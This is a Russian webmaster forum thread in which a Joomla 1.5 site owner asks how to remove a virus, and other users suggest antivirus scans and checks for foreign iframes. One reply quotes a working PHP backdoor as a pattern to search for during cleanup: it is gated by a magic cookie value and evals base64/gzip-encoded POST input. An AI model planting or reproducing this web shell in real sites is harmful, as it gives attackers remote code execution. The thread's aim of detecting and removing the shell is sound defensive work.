Помощник
|
борьба с вирусом на сайте, нужна помощь |
wel1989
|
Сообщение
#1
|
||
|
|
||
|
|||
MeTaTRoN |
6.5.2013, 17:07;
Ответить: MeTaTRoN
Сообщение
#2
|
|
Проверьте инородные iframe коды в сорцах.
На страницу заходить боюсь)) -------------------- Реклама на аниме сайте Услуги программиста, тема на форуме |
|
|
Maxim-KL |
6.5.2013, 17:14;
Ответить: Maxim-KL
Сообщение
#3
|
|
-------------------- |
|
|
wel1989
|
Сообщение
#4
|
|
И тут выявил еще 1 интересный факт.
Закал повторное сканирование в вебмастере. И тут все нормально стало, хотя ничего не менял. [attachment=18527:_________.jpg] Глюк вебмастера ? |
|
|
hugo449 |
6.5.2013, 17:22;
Ответить: hugo449
Сообщение
#5
|
|
Ищите Shell в файлах. У вас Joomla 1.5. Инородные файлы весят обычно 281 байт, 289 байт, 291 байт. Они выглядят по типу такого: 2f842n.php или movie.php и их может быть очень много, они могут лежать в самых отдаленных папках. Скачайте все файлы по фтп на комп, установите текстовый редактор типа EditPlus и запустите поиск по всем файлам на предмет наличия подобного кода
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){ if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){ echo '<textarea id=areatext>'; eval($msg); echo '</textarea>bg'; exit; }} ?> Разумеется, код может отличаться от этого, поэтому ищите по кускам этого кода. Все найденные файлы со странными названиями можете без сожаления удалить. Затем проверьте папку media/system/js. Там лежат файлы javascript. Скопируйте кусок вредоносного кода в поиск текстового редактора и ищите по всем javascript на сайте. Затем поменяйте пароли на FTP -------------------- |
|
|
wel1989
|
Сообщение
#6
|
|
Проганял Доктор вебом.
MeTaTRoN, Проверьте инородные iframe коды в сорцах А можно поподробнее про этот метод? |
|
|
stu999 |
7.5.2013, 8:58;
Ответить: stu999
Сообщение
#7
|
|
|
доктор веб, 2ip и аларм говорят, что вирусов нет. напишите еще Платонам
-------------------- [IMG]https://b.radikal.ru/b42/2106/73/41517b51ec05.gif[/IMG] |
|
|
||
|
Похожие темы
Тема | Ответов | Автор | Просмотров | Последний ответ | |
---|---|---|---|---|---|
CryptoCloud — прием USDT, BTC, ETH, LTC на любом сайте | 34 | CryptoCLoud | 10069 | 18.3.2024, 16:56 автор: CryptoCLoud |
|
Странный трафик на сайте длительное время | 26 | TABAK | 7504 | 16.3.2024, 17:31 автор: Boymaster |
|
Быстрый и качественный обмен на сайте Baksman.org Обмен Bitcoin, BTC-e, PM, Qiwi, Yandex money, Карты банк |
51 | Baksman | 33207 | 15.3.2024, 21:14 автор: Baksman |
|
Алтуально ли заработок на сайте? Оцение пожалуйста идею |
10 | hitman20 | 1780 | 1.2.2024, 5:37 автор: Liudmila |
|
Готовые комплекты для создания узконишевых сайтов | (Готовые статьи, семантическое ядро) | Опубликуйте статьи на сайте и получите трафик из ПС без затрат на продвижение | 8 | rainbowinthedark | 2818 | 14.7.2023, 16:08 автор: rainbowinthedark |
Текстовая версия | Сейчас: 28.3.2024, 19:31 |